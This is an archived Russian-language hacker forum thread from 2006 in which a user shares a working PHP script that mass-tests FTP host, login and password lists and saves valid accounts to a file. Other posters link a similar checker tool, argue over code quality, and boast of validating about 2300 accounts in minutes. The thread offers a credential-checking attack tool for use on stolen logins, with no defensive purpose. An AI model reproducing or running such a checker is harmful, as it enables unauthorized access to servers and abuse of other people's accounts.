PDA

Просмотр полной версии : Валидность Ftp


Ch3ck
14.10.2006, 12:40
Тут щас чистил комп и нарвался на скрипт. Проверяет на валидность FTP.
Открывает файл в котором есть записи типа: ftp.sait.ru (ftp://ftp.sait.ru) login password, проверяет, потом открывает другой файли записывает туда рабочие аккаунты.
Авось кому и пригодится.

<?
$ftp=file('valuehost.txt');
$i=0;
$fp=fopen('valid.txt','a+');
foreach($ftp as $v){
$v=preg_split('/[ ]+/',$v);
$v[2]=str_replace("\r",'',str_replace("\n",'',$v[2]));
$f=@ftp_connect($v[0],21,2);
echo $i."\n";
$i++;
if($f){
$lr=@ftp_login($f,$v[1],$v[2]);
if($lr){
echo implode(':',$v)."\n";
fwrite($fp,implode(':',$v)."\n");
}
}
}
?>

Digimortal
14.10.2006, 12:47
вот еще по той же тематике:
_http://cyberlords.net/releases/cl_ftp_checker.php.txt

Trinux
14.10.2006, 14:59
Ой как славненько то =))))

2 Dr.Check
Коль выложил какашку, отвечай за нее. Объясни:
- зачем открывать valid.txt для чтения?
- если ты используешь счетчик в цикле, при чем тут foreach() ???
- чем preg_split шустрее комбинации list()=explode();? И с каких это пор в пароле не могут присутствовать пробелы?
- чем это ftp_connect шустрее fsockopen
- и наконец нафига там implode, если ты наперед знаешь какие ключи массива ты будешь писать в файл?

2 Digimortal
200 строк кода для брута ftp по файлу с реквизитами доступа... убейте меня ап стенку.
=))))

Ch3ck
14.10.2006, 15:49
Во-первых, я даже не помню мой ли это скрипт. Так как и сам я таких мелочей поно писал, брал откуда-то. Дата создания очень старая(май этого года)
А наплевать, отвечу или за себя или за автора этого скрипта.
- зачем открывать valid.txt для чтения? .

Какая разница. Можно и просто так fopen('valid.txt','a');
при чем тут foreach() ???

Ты сам то php Знаешь? :) Вообще то файл valuehost.txt Имеет вид
ftp.madckdm.ru login pass
ftp.sait.ru login pass
и т.д, хочу посмотреть как ты по другому это реализуешь...
И с каких это пор в пароле не могут присутствовать пробелы?
Ну ты даёшь... причём тут пробелы в паролях? это пробелы между именем ftp сервера, логина и пароля, причём сколько угодно.
на оставльное отвечать даже и не собираюсь. Так-что свернись в трэй ;)

Trinux
14.10.2006, 16:50
на оставльное отвечать даже и не собираюсь. Так-что свернись в трэй ;)
ок

Digimortal
14.10.2006, 23:47
2 Digimortal
200 строк кода для брута ftp по файлу с реквизитами доступа... убейте меня ап стенку.
=))))
убить тебя "ап стенку" неполучится, т.к. ты в трей свернулся... =))
согласен размер не зашибись,
просто кому то всегда пригодится. а скрипт этот <12кб, что не так уж и страшно...

SMiX
15.10.2006, 00:04
Ты сам то php Знаешь? Вообще то файл valuehost.txt Имеет вид
ftp.madckdm.ru login pass
ftp.sait.ru login pass
и т.д, хочу посмотреть как ты по другому это реализуешь...
Лол. Про цикл for слышал когда-нибудь?
Прочитай еще раз:
- если ты используешь счетчик в цикле, при чем тут foreach() ???

9822
15.10.2006, 15:10
cl_ftp_checker.php.txt от ciber lord дубаю самое удобное, просто ввести список фтп акк и ждать пару минут, 2300 проверяет на 1.5мб канале за 5-7 мин